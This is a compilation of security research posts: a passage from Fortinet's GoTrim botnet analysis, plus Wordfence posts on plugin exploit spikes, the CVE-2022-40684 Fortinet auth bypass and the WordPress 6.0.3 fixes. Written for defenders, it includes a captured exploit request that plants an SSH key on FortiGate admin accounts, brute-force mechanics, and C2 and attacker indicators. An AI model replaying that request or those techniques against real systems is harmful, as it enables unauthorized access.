  • Username
  • Password
  • Command ID (1 for WordPress, 3 for OpenCart, etc.)
  • Brute force status (“0GOOD” for success)

Validate OpenCart Credentials

GoTrim can also brute force websites running the open-source e-commerce platform OpenCart.

It sends a GET request to the target’s “/admin/index.php” and collects the authentication-related tokens and headers needed for the login request. It then performs the actual authentication by sending a POST request to the same URL with form-encoded data containing the username and the password.

To verify that the login request was successful, it checks if the website returned an OpenCart user token by searching for “/dashboard&user_token=” and making sure the “redirect” value from the received data is not empty.

A valid authentication response should look like the following:

{“redirect”:”https://example.com/opencart/admin/index.php?route=common/dashboard&user_token=USER_TOKEN_HASH”}

Upon successful login, the global status message is updated for WordPress brute-forcing.

Anti-bot Checks

GoTrim can detect anti-bot techniques used by web hosting providers and CDNs, such as Cloudflare and SiteGround, and evade some of their simpler checks.

It tries to mimic legitimate requests from Mozilla Firefox on 64bit Windows by using the same HTTP headers sent by the browser and supporting the same content encoding algorithms: gzip, deflate, and Brotli.

For WordPress websites, it also detects whether CAPTCHA plugins are installed.

  • Google reCAPTCHA
  • reCAPTCHA by BestWebSoft
  • WP Limit Login Attempts
  • Shield Security Captcha
  • All in One Security (AIOS) Captcha
  • JetPack Captcha
  • Captcha by BestWebSoft

The malware contains code to solve the CAPTCHA for some of these plugins. However, we need to verify if the bypass techniques work. We determined that it cannot bypass Google, WP Limit Login Attempts, and Shield Security’s CAPTCHAs.

In general, for the security plugins it cannot bypass, it only reports them to the C2 server by updating the global status message with information similar to the data it sends during a successful login. But it uses “3GOOD” for the brute force status to indicate that credential validation was skipped.

On encountering websites that contain the string “1gb.ru” within the page content, GoTrim also sends the same “3GOOD” brute force status. This appears to be a conscious decision to avoid targeting websites hosted by this provider, but the intent remains unclear.

Campaign Updates

While searching for other samples related to this campaign, we found a PHP script and binary from September 2022 with different URLs “/selects?param=1” and “/selects?walert=1” on C2 server 89[.]208[.]107[.]12 (Figure 6). The PHP script we detect as PHP/GoTrim!tr.dldr uses the same installation method, with only the download URL varying across the samples we gathered.

Screenshot of Figure 6: Code snippet from Sep 2022 version with different C2 serversFigure 6: Code snippet from Sep 2022 version with different C2 servers

A version of the binary that appeared in November 2022 also updated its HTTP POST URLs (Figure 7). The beacon request URL “/selects?dram=1” and the command request URL “/selects?bilert=1” have been changed to “/route?index=1” and “/route?alert=1”, respectively. The encryption algorithm and keys used in the data transmission remain the same.

Screenshot of Figure 7: Wireshark capture of POST requests from two versions of GoTrimFigure 7: Wireshark capture of POST requests from two versions of GoTrim

Conclusion

Although this malware is still a work in progress, the fact that it has a fully functional WordPress brute forcer combined with its anti-bot evasion techniques makes it a threat to watch for—especially with the immense popularity of the WordPress CMS, which powers millions of websites globally.

Brute-forcing campaigns are dangerous as they may lead to server compromise and malware deployment. To mitigate this risk, website administrators should ensure that user accounts (especially administrator accounts) use strong passwords. Keeping the CMS software and associated plugins up to date also reduces the risk of malware infection by exploiting unpatched vulnerabilities.

FortiGuard Labs will continue to monitor GoTrim’s development.

Fortinet Protections

The FortiGuard Antivirus service detects and blocks this threat as ELF/GoTrim!tr and PHP/GoTrim!tr.dldr.

The FortiGuard AntiVirus service is supported by FortiGateFortiMailFortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions. Customers running current AntiVirus updates are protected.

FortiGuard Labs provides the GoTrim.Botnet IPS signature against GoTrim C2 activity.

The FortiGuard Web Filtering Service blocks the C2 servers and download URLs cited in this report.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

IOCs

Files

646ea89512e15fce61079d8f82302df5742e8e6e6c672a3726496281ad9bfd8a

4b6d8590a2db42eda26d017a119287698c5b0ed91dd54222893f7164e40cb508

c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3

71453640ebf7cf8c640429a605ffbf56dfc91124c4a35c2ca6e5ac0223f77532

3188cbe5b60ed7c22c0ace143681b1c18f0e06658a314bdc4c7c4b8f77394729

80fba2dcc7ea2e8ded32e8f6c145cf011ceb821e57fee383c02d4c5eaf8bbe00

De85f1916d6102fcbaceb9cef988fca211a9ea74599bf5c97a92039ccf2da5f7

2a0397adb55436efa86d8569f78af0934b61f5b430fa00b49aa20a4994b73f4b

Download URLs

hxxp://77[.]73[.]133[.]99/taka

hxxp://77[.]73[.]133[.]99/trester

hxxp://77[.]73[.]133[.]99/pause

C2

hxxp://77[.]73[.]133[.]99

hxxp://77[.]73[.]133[.]99/selects?dram=1

hxxp://77[.]73[.]133[.]99/selects?bilert=1

hxxp://77[.]73[.]133[.]99/route?index=1

hxxp://77[.]73[.]133[.]99/route?alert=1

hxxp://89[.]208[.]107[.]12

hxxp://89[.]208[.]107[.]12/selects?param=1

hxxp://89[.]208[.]107[.]12/selects?walert=1

Source :
https://www.fortinet.com/blog/threat-research/gotrim-go-based-botnet-actively-brute-forces-wordpress-websites

Spikes in Attacks Serve as a Reminder to Update Plugins

The Wordfence Threat Intelligence team continually monitors trends in the attack data we collect. Occasionally an unusual trend will arise from this data, and we have spotted one such trend standing out over the Thanksgiving holiday in the U.S. and the first weekend in December. Attack attempts have spiked for vulnerabilities in two plugins.

The larger spikes have been from attempts to exploit an arbitrary file upload vulnerability in Kaswara Modern VC Addons <= version 3.0.1, for which a rule was added to the Wordfence firewall and available to Wordfence PremiumWordfence Care, and Wordfence Response users on April 21, 2021 and released to users of Wordfence Free on May 21, 2021. The other vulnerability is an arbitrary file upload and arbitrary file deletion vulnerability in the Adning Advertising plugin with versions <= 1.5.5, with our firewall rule being added on June 25, 2020 and made available to free users on July 25, 2020.

Kaswara and Adning exploit attempts per day

One thing that makes these spikes interesting is the fact that they are occurring over holidays and weekends. The first spike began on November 24, 2022, which was the Thanksgiving holiday in the United States. This spike lasted for three days. The second spike looked a little different, starting on Saturday, December 3, 2022, dropping on Sunday, and finishing with its peak on Monday. These spikes serve as an important reminder that malicious actors are aware that website administrators are not paying as close attention to their sites on holidays and weekends. This makes holidays and weekends a desirable time for attacks to be attempted.

During these spikes, exploit attempts have been observed against the Kaswara vulnerability on 1,969,494 websites, and on 1,075,458 sites against the Adning vulnerability. In contrast, the normal volume of sites with exploit attempts being blocked is an average of 256,700 for the Kaswara vulnerability, and 374,801 for the Adning vulnerability.

Kaswara and Adning sites comparison with spikes

The Kaswara Modern VC Addons plugin had more than 10,000 installations at the time the vulnerability was disclosed on April 21, 2021, and has since been closed without a patch being released. As long as this plugin is installed, it leaves the site vulnerable to attacks that make it possible for unauthenticated attackers upload malicious files that could ultimately lead to a full site takeover due to the fact that the ability to upload PHP files to servers hosting WordPress makes remote code execution possible. Any WordPress website administrators who are still using the plugin should immediately remove the plugin and replace it with a suitable alternative if the functionality is still required for the site, even if you are protected by the Wordfence firewall, as the plugin has not been maintained and may contain other issues. We estimate that about 8,000 WordPress users are still impacted by a vulnerable version, making them an easy target.

The Adning Advertising plugin had more than 8,000 users when our Threat Intelligence team performed our initial investigation of vulnerability on June 24, 2020. After some analysis, we found two vulnerabilities in the plugin, one that would allow an unauthenticated attacker to upload arbitrary files, also leading to easy site takeover. We also found an unauthenticated arbitrary file deletion vulnerability that could just as easily be used for complete site compromise by deleting the wp-config.php file. After we notified the plugin’s author of the vulnerabilities, they quickly worked to release a patched version within 24 hours. Any users of the Adning Advertising plugin should immediately update to the latest version, currently 1.6.3, but version 1.5.6 is the minimum version that includes the patch. We estimate that about 680 WordPress users are still impacted by a vulnerable version of this plugin.

The key takeaway from these attack attempts is to make sure your website components are kept up to date with the latest security updates. When a theme or plugin, or even the WordPress core, has an update available, it should be updated as soon as safely possible for the website. Leaving unpatched vulnerabilities on the website opens a website up to possible attack.

Cyber Observables

The following are the common observables we have logged in these exploit attempts. If any of these are observed on a website or in logs, it is an indication that one of these vulnerabilities has been exploited. The IP addresses listed are specifically from the spikes we have seen over the Thanksgiving holiday and the first weekend in December.

Kaswara

Top ten IPs
  • 40.87.107.73
  • 65.109.128.42
  • 65.21.155.174
  • 65.108.251.64
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 49.12.184.76
  • 5.75.252.228
  • 5.75.252.229
Common Uploaded Filenames

There were quite a few variations of randomly named six-letter filenames, two are referenced below, but each one observed used the .zip extension.

  • a57bze8931.zip
  • bala.zip
  • jwoqrj.zip
  • kity.zip
  • nkhnhf.zip
Top Ten User-Agent Strings
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  • Amazon CloudFront
  • Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  • Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  • Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  • Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36

Adning

Top Ten IPs
  • 65.109.128.42
  • 65.108.251.64
  • 65.21.155.174
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 5.75.252.229
  • 65.109.138.122
  • 40.87.107.73
  • 49.12.184.76
Common Uploaded Filenames

Most observed exploit attempts against the Adning plugin appeared to be nothing more than probing for the vulnerability, but in one instance the following filename was observed as a payload.

  • files
Top Ten User-Agent Strings
  • python-requests/2.28.1
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
  • python-requests/2.28.1 X-Middleton/1
  • python-requests/2.26.0
  • python-requests/2.27.1
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; @longcat) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • ALittle Client
Conclusion

In this post we discussed two vulnerabilities that have spiked over the past two weekends. Removing or updating vulnerable plugins is always the best solution, but a Web Application Firewall like the one provided by Wordfence is important to block exploit attempts and can even protect your site from attacks targeting unknown vulnerabilities. The Wordfence firewall protects all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against these vulnerabilities. Even with this protection in place, these vulnerabilities are serious as they can lead to full site takeover, and the Kaswara Modern VC Addons should be immediately removed, and the Adning Advertising plugin should immediately be updated.

Source :
https://www.wordfence.com/blog/2022/12/spikes-in-attacks-serve-as-a-reminder-to-update-plugins/

Threat Advisory: CVE-2022-40684 Fortinet Appliance Auth bypass

This morning, the Wordfence Threat Intelligence team began tracking exploit attempts targeting CVE-2022-40684 on our network of over 4 million protected websites. CVE-2022-40684 is a critical authentication bypass vulnerability in the administrative interface of Fortinet’s FortiGate firewalls, FortiProxy web proxies, and FortiSwitch Manager, and is being actively exploited in the wild¹,².

At the time of publishing, we have recorded several exploit attempts and requests originating from the following IP addresses:

  • 206.189.231.41
  • 172.105.131.156
  • 45.79.174.33
  • 143.110.215.248
  • 159.180.168.61
  • 194.195.241.147
  • 45.79.174.9
  • 45.79.174.160
  • 134.122.38.186
  • 104.244.77.122
  • 45.79.174.212
  • 2.58.82.81
  • 194.163.135.129
  • 173.212.205.42
  • 172.104.6.178
  • 38.242.217.243
  • 194.135.83.48
  • 134.122.44.177
  • 207.180.241.85
  • 75.128.217.136
  • 107.189.4.80

Most of the requests we have observed are GET requests presumably trying to determine whether a Fortinet appliance is in place:

GET /api/v2/cmdb/system/admin/admin HTTP/1.1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
X-Forwarded-Proto: https
X-Forwarded-Ssl: on
X-Forwarded-For: 75.128.217.136
Host: <redacted>
Content-Type: application/x-www-form-urlencoded

However, we also found that a number of these IPs are also sending out PUT requests matching the recently released proof of concept, referenced at the end of this advisory, which attempts to update the public SSH key of the admin user:

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
X-Forwarded-For: 172.104.6.178
Accept-Encoding: gzip
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Connection: close
User-Agent: Report Runner
Host: <redacted>
Content-Type: application/json
Content-Length: 610


{
"Ssh-public-key1":"\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\""
}

While some requests are using a fake public key, which may indicate a benign vulnerability scanner, all of the requests using a valid public key are using the same public key, indicating that these requests are all the work of the same actor. An attacker able to update or add a valid public SSH key to a user’s account on a system can then typically gain access to that system as that user if they have the corresponding private key. In this case the attacker is attempting to add their own public key to the admin user’s account.

The SSH key has the following fingerprint: SHA256:GBl4Pytt+W2yEZ3zlOkAZkgtqmTPBcEZlqK4hoNOqBU dev@devs-MacBook-Pro.local (RSA)

All of the PUT exploit attempts we have seen are using the “Report Runner” User-Agent as this is a requirement of the exploit, though the exploit may also be viable with the User-Agent set to “Node.js”.

New IP Addresses attacking CVE-2022-40684 will appear on the Wordfence Intelligence IP Threat Feed in the “auth_bypass” category as the feed is updated every 60 minutes.

1. Fortinet released an advisory with additional information, including affected products and workarounds for users unable to patch.
2. Horizon3.ai initially discovered that the vulnerability was being exploited in the wild and released a proof of concept earlier today.

Source :
https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

Patch Now: The WordPress 6.0.3 Security Update Contains Important Fixes

The WordPress 6.0.3 Security Update contains patches for a large number of vulnerabilities, most of which are low in severity or require a highly privileged user account or additional vulnerable code in order to exploit.

As with every WordPress core release containing security fixes, the Wordfence Threat Intelligence team analyzed the code changes in detail to evaluate the impact of these vulnerabilities on our customers, and to ensure our customers remain protected.

The Wordfence Firewall provides protection from the majority of these vulnerabilities, and most sites should have been updated to the patched version automatically. Nonetheless, we strongly recommend updating your site as soon as possible, if it has not automatically been updated.

Vulnerability Analysis

We have determined that these vulnerabilities are unlikely to be seen as mass exploits but several of them could offer a way for skilled attackers to exploit high-value sites using targeted attacks.

Description: Authenticated (Contributor+) Stored Cross-Site Scripting via RSS Widget/Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher:  N/A
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

WordPress allows any user that can edit posts, such as Contributors, to add a block linking to an RSS feed. While the contents of any feed imported this way are escaped, errors in retrieving the feed would be displayed on the page containing the feed. These included the error status code and content-type header. This means that a contributor-level attacker could create a page on a site they controlled that returned an error code and a malicious script in the Content-Type response header. They could then add a post containing an RSS block linking to their malicious “feed” and submit it for review. When an administrator previewed the post, the malicious script in the Content-Type header would be executed in their browser.

Unfortunately it is not possible to write a firewall rule to protect against this vulnerability as it could potentially be exploited without sending any requests to the victim site. A motivated attacker could look for existing RSS feeds on a site and attempt to compromise one of the sites those feeds were generated from. Such an attacker could potentially take over multiple sites using a single malicious RSS feed.


Description: Authenticated Stored Cross-Site Scripting via Search Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for users that can edit posts to inject malicious JavaScript via the Search Block’s Text color and Background color attributes. Doing so requires bypassing the filtering provided by the safecss_filter_attr function and is not trivial.


Description: Authenticated Stored Cross-Site Scripting via Featured Image Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: N/A
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for users that can edit posts to inject malicious JavaScript via the Featured Image block. Doing so requires bypassing the filtering provided by the safecss_filter_attr function and is not trivial. A similar issue also appears to have been patched in the Navigation block, though it was not announced and may not be exploitable.


Description: Authenticated (Admin+) Stored Cross-Site Scripting in Widget Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 4.8(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for administrator-level users to inject malicious JavaScript via the Widget Group title attribute. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Stored XSS via wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Toshitsugu Yoneyama of Mitsui Bussan Secure Directions, Inc. via JPCERT
CVE ID: Pending
CVSS Score: 7.2(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54531

In WordPress, site owners have the ability to create posts by sending emails to the target WordPress site. These requests are processed through the /wp-mail.php file which uses wp_insert_post to add the emailed post to the target website. This functionality didn’t check what level the user was sending the request and therefore did not perform any sanitization on the submitted post data. This meant that users without the unfiltered_html capability, with access to submitting posts via email, could inject malicious JavaScript into posts that would execute whenever someone accessed the post. WordPress now sets any user submitting a post via email to the user ID of 0 which will ensure that all posts pass through wp_kses. This feature is disabled by default, so most installations likely are not vulnerable.


Description: Authenticated (Admin+) Stored Cross-Site Scripting via Customizer
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 5.5(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54536/

It is possible for administrator-level users to add malicious JavaScript to the Blog Name via the Customizer that will execute in the browser of any site visitor. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Authenticated (Editor+) Stored Cross-Site Scripting via Comment Editing
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 5.5(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changesethttps://core.trac.wordpress.org/changeset/54537

It is possible for users with the unfiltered_html capability, including administrators and editors, to add malicious JavaScript to existing comments using the comment editor. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Reflected Cross-Site Scripting via SQL Injection in Media Library
Affected Versions: WordPress Core < 6.0.3
Researcher: Ben Bidner & Marc Montpas
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changesethttps://core.trac.wordpress.org/changeset/54534

It is possible to craft a search query via the media library that results in a malicious JavaScript being echoed out onto the page. As it is possible to generate a link to the media library with the search query pre-populated via the s parameter, this can be used to perform a reflected Cross-Site Scripting(XSS) attack. While this would require social engineering to exploit and crafting an appropriate payload is nontrivial, the attacker does not need to be authenticated, making this potentially the most exploitable vulnerability patched in this release. We may update our assessment if a proof of concept becomes available.


Description: SQL Injection via WP_Date_Query
Affected Versions: WordPress Core < 6.0.3
Researcher: Michael Mazzolini
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54540

The sanitize_query function used in the WP_Date_Query  class failed to sanitize all relations where it was expecting “AND” or “OR” in the query. It is possible that a third-party plugin or theme might perform a date query in an unsafe way that resulted in SQL injection, though WordPress core is not vulnerable itself. This is similar to the fixes released back in version 5.8.3.


Description: Cross-Site Request Forgery via wp-trackback.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Simon Scannell
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54525

Similar to the above XSS via wp-mail.php, the Trackback functionality of WordPress did not explicitly state the intended user identity which means that any request to wp-trackback.php would assume the identity of the user whose cookies are sent with the request. This would make it possible for an unauthenticated user to trigger a trackback assuming the identity of another user, granted they could trick that other user into performing the action. In new versions of WordPress, the identity will always be a non-existent user with the ID of 0, which represents an unauthenticated user.


Description: Shared User Instance Weakness
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha & Ben Bidner
CVE ID: Pending
CVSS Score: 3.7(Low)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54544

This fix appears to have been necessary to safely use the wp_set_current_user( 0 ); method to patch the previously mentioned XSS and CSRF in wp-mail.php and wp-trackback.php vulnerabilities. The previous functionality may have resulted in third party plugins or themes using the wp_set_current_user function in a way that could lead to privilege escalation and users being able to perform more actions than originally intended. We may update our assessment if a proof of concept becomes available.


Description: Post Author Email Disclosure via wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: devrayn
CVE ID: Pending
CVSS Score: 5.3 (Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54523

The post by email functionality has the ability to enable logging. This can contain a post author’s email address which can be considered sensitive information and has the potential to be publicly accessible. This feature is disabled by default, so most installations likely are not vulnerable.


Description: Data Exposure via the REST Terms/Tags Endpoint
Affected Versions: WordPress Core < 6.0.3
Researcher: Than Taintor
CVE ID: Pending
CVSS Score: 4.3(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54538

The REST API endpoint for terms and tags did not perform enough validation on the user requesting information about terms and tags for a given post. This made it possible for users with access to terms and tags, such as a contributor, to determine those details on all posts not belonging to them, even when in a private status. This does not reveal critical information, and as such it is not likely to be exploited.


Description: Information Disclosure via Multi-Part Email Content Leakage in wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Thomas Kräftner
CVE ID: Pending
CVSS Score: 3.7(Low)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54539

In cases where wp-mail was used to send multiple emails or multi-part emails within a single request, the email altBody (frequently used to provide a text alternative to HTML-formatted emails) was not cleared between messages, which could result in users receiving message contents intended for other recipients. While this would require a plugin configured to send multiple messages with altBody text and would be almost impossible to exploit on purpose, it could still lead to exposure of highly sensitive information.


Description: Open Redirect via wp_nonce_ays
Affected Versions: WordPress Core < 6.0.3
Researcher: devrayn
CVE ID: Pending
CVSS Score: 4.7(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54532

It was possible to generate a link with an invalid nonce and the _wp_http_referer query string parameter set to an external site. If an attacker was able to trick a logged-in user into clicking on the crafted link, they would be redirected to the external site.

Conclusion

The WordPress 6.0.3 Security update contains a much larger number of security patches than usual. Most of these are not easy to exploit without an existing proof of concept and require an authenticated user. Additionally, the Wordfence firewall should protect all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against most of these vulnerabilities. We urge you to verify that your site has been updated to a patched version immediately as there are vulnerabilities in this update that the Wordfence firewall cannot practically block. These vulnerabilities should be taken seriously as a skilled and lucky attacker could potentially use several of them for site takeover.

Special thanks to Wordfence Threat Intelligence Lead Chloe Chamberland for collaborating on this article. Props to Toshitsugu Yoneyama, devrayn, Ben Bidner, Simon Scannell, Marc Montpas, Alex Concha, Than Taintor, Thomas Kräftner, and Michael Mazzolini for discovering and responsibly disclosing these vulnerabilities.

Source :
https://www.wordfence.com/blog/2022/10/patch-now-the-wordpress-6-0-3-security-update-contains-important-fixes/